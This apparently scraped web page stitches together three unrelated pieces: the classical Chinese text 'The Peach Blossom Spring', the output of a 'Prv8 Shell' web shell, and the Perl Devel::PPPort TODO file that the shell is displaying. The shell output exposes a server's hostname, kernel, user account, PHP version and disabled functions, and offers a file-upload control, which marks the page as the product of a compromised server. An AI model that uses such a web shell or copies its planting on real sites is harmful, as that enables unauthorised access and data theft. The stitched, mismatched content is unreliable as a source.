晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/perl-Devel-PPPort/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Devel-PPPort/TODO
TODO:

* > 3. In several cases, "perl ppport.h --copy=.new" output a new file in
  > which the only change was the addition of "#include "ppport.h"". In each
  > case, that actually wasn't necessary because the source file in question
  > already #included another source file which #included ppport.h itself.
  > Would it be possible for the analyzer to follow #include directives to
  > spot cases like this?

  Uh, well, I guess it would be possible. But I have some concerns:

  1. ppport.h is already too big. :-)

  2. There is code in ppport.h to actually remove an

       #include "ppport.h"

     if it appears not to be needed. If it's not needed in your
     included file, it might be dropped from there and moved to
     the other file that included the first one. This would make
     the logic much more complicated.

  3. As ppport.h is configurable, it's not (always) a good idea
     to put it into a file that's included from another file.

  I guess I'll have to think about this a little more. Maybe I can
  come up with a fancy solution that doesn't increase the code size
  too much.


* On 14/12/06, Nicholas Clark <nick@ccl4.org> wrote:
  > On Thu, Dec 14, 2006 at 05:03:24AM +0100, Andreas J. Koenig wrote:
  >
  > > Params::Validate and Clone suffer from the same cold:
  >
  > The same patch will make both compile and pass tests.
  > I'm wondering if it might be better to totally drop SVt_PBVM and let source
  > code fail to compile.

  I don't think so. Because :
  1. your redefinition of SVt_PBVM is probably what most XS modules want
  2. anyway, if we remove it from the core, it might appear in Devel::PPPort :)


* maybe backport bytes_from_utf8() for 5.6.0 (or even before)?

* check which of the following we need to support:

    amagic_generation
    AMG_names
    an
    Argv
    argvgv
    argvoutgv
    basetime
    beginav
    block_type
    bodytarget
    bufend
    bufptr
    check
    chopset
    Cmd
    compcv
    compiling
    comppad
    comppad_name
    comppad_name_fill
    copline
    cop_seqmax
    cryptseen
    cshlen
    cshname
    curcop
    curinterp
    curpad
    curpm
    curstash
    curstname
    dbargs
    DBgv
    DBline
    DBsignal
    DBsingle
    DBsub
    DBtrace
    debstash
    debug
    defgv
    defoutgv
    defstash
    delaymagic
    diehook
    dirty
    doextract
    doswitches
    do_undump
    dowarn
    egid
    encoding
    endav
    envgv
    errgv
    error_count
    errors
    euid
    eval_root
    evalseq
    eval_start
    expect
    fdpid
    filemode
    firstgv
    fold
    forkprocess
    formfeed
    formtarget
    freq
    generation
    gensym
    gid
    hexdigit
    hints
    incgv
    in_eval
    in_my
    inplace
    lastfd
    last_in_gv
    last_lop
    last_lop_op
    lastscream
    laststatval
    laststype
    last_uni
    lex_brackets
    lex_brackstack
    lex_casemods
    lex_casestack
    lex_defer
    lex_dojoin
    lex_expect
    lex_formbrack
    lex_inpat
    lex_inwhat
    lex_op
    lex_repl
    lex_starts
    lex_state
    lex_stuff
    lineary
    linestr
    localizing
    main_cv
    main_root
    mainstack
    main_start
    markstack
    markstack_max
    markstack_ptr
    max_intro_pending
    maxo
    maxscream
    maxsysfd
    min_intro_pending
    minus_a
    minus_c
    minus_F
    minus_l
    minus_n
    minus_p
    multi_close
    multi_end
    multi_open
    multi_start
    na
    nexttoke
    nexttype
    nextval
    nice_chunk
    nice_chunk_size
    No
    no_aelem
    no_dir_func
    no_func
    no_mem
    nomemok
    no_modify
    no_myglob
    no_security
    no_sock_func
    no_symref
    no_usym
    no_wrongref
    nrs
    oldbufptr
    oldname
    oldoldbufptr
    op
    opargs
    op_desc
    op_mask
    op_name
    op_seq
    origalen
    origargc
    origargv
    origenviron
    origfilename
    osname
    padix
    padix_floor
    pad_reset_pending
    patchlevel
    patleave
    perldb
    perl_destruct_level
    pidstatus
    ppaddr
    preambleav
    preambled
    preprocess
    profiledata
    regdummy
    regendp
    regeol
    reginput
    regkind
    reglastparen
    regsize
    regstartp
    restartop
    rs
    rsfp
    rsfp_filters
    runops
    savestack
    savestack_ix
    savestack_max
    sawampersand
    scopestack
    scopestack_ix
    scopestack_max
    screamfirst
    screamnext
    secondgv
    signals
    sig_name
    sig_num
    simple
    sortcop
    sortstash
    splitstr
    stack_base
    stack_max
    stack_sp
    statbuf
    statcache
    statgv
    statname
    statusvalue
    stdingv
    sub_generation
    subline
    subname
    Sv
    sv_arenaroot
    sv_count
    sv_no
    sv_objcount
    sv_root
    sv_undef
    sv_yes
    tainted
    tainting
    timesbuf
    tmps_floor
    tmps_ix
    tmps_max
    tmps_stack
    tokenbuf
    top_env
    toptarget
    uid
    unsafe
    varies
    vtbl_amagic
    vtbl_amagicelem
    vtbl_arylen
    vtbl_bm
    vtbl_dbline
    vtbl_env
    vtbl_envelem
    vtbl_glob
    vtbl_isa
    vtbl_isaelem
    vtbl_mglob
    vtbl_pack
    vtbl_packelem
    vtbl_pos
    vtbl_sig
    vtbl_sigelem
    vtbl_substr
    vtbl_sv
    vtbl_taint
    vtbl_uvar
    vtbl_vec
    warnhook
    warn_nl
    warn_nosemi
    warn_reserved
    warn_uninit
    watchaddr
    watchok
    Xpv
    Yes

* have an --env option for soak to set env variable combinations

* only overwrite generated files if they actually changed

* try to make parts/apicheck.pl automatically find NEED_ #defines

* add support for my_vsnprintf?

* try to perform some core consistency checks:

  - check if 'd' flag in embed.fnc matches with
    supplied documentation

  - check if all public API is documented

* check (during make regen?) if MAX_PERL in PPPort_pm.PL
  needs to be updated

* see if we can implement sv_catpvf() for < 5.004

* MULTICALL ?

* improve apicheck (things like utf8_mg_pos_init() are
  not currently checked)

* more documentation, more tests

* Resolve dependencies in Makefile.PL and remind of
  running 'make regen'

haha - 2025